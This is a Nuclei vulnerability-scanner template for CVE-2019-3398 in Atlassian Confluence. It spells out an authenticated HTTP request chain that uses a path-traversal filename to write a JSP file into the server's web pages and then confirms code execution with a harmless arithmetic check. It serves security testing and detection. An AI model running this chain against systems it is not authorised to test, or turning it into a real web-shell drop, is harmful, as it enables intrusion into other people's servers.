nuclei-templates/http/cves/2019/CVE-2019-3398.yaml

id: CVE-2019-3398

info:
  name: Atlassian Confluence Download Attachments - Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: high
  description: |
    Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.
  remediation: |
    Apply the latest security patches provided by Atlassian to fix the vulnerability.
  reference:
    - https://blogs.juniper.net/en-us/threat-research/cve-2019-3398-atlassian-confluence-download-attachments-remote-code-execution
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3398
    - http://packetstormsecurity.com/files/152616/Confluence-Server-Data-Center-Path-Traversal.html
    - http://packetstormsecurity.com/files/155245/Atlassian-Confluence-6.15.1-Directory-Traversal.html
    - https://jira.atlassian.com/browse/CONFSERVER-58102
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-3398
    cwe-id: CWE-22
    epss-score: 0.97317
    epss-percentile: 0.99852
    cpe: cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    vendor: atlassian
    product: confluence
  tags: packetstorm,cve,cve2019,atlassian,confluence,rce,authenticated,intrusive,kev
variables:
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        POST /dologin.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        os_username={{username}}&os_password={{password}}&login=Log%2Bin&os_destination=
      - |
        GET /pages/createpage.action HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /plugins/drag-and-drop/upload.action?draftId={{draftID}}&filename=../../../../../../opt/atlassian/confluence/confluence/pages/{{randstr}}.jsp&size=8&mimeType=text%2Fplain&atl_token={{csrftoken}} HTTP/1.1
        Host: {{Hostname}}

        ${{{num1}}*{{num2}}}
      - |
        GET /pages/downloadallattachments.action?pageId={{draftID}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /pages/{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body_5
        words:
          - "{{result}}"

    extractors:
      - type: regex
        name: csrftoken
        group: 1
        regex:
          - 'name="atlassian\-token" content="([a-z0-9]+)"> '
        internal: true
        part: body

      - type: regex
        name: draftID
        group: 1
        regex:
          - 'ta name="ajs\-draft\-id" content="([0-9]+)">'
        internal: true
        part: body

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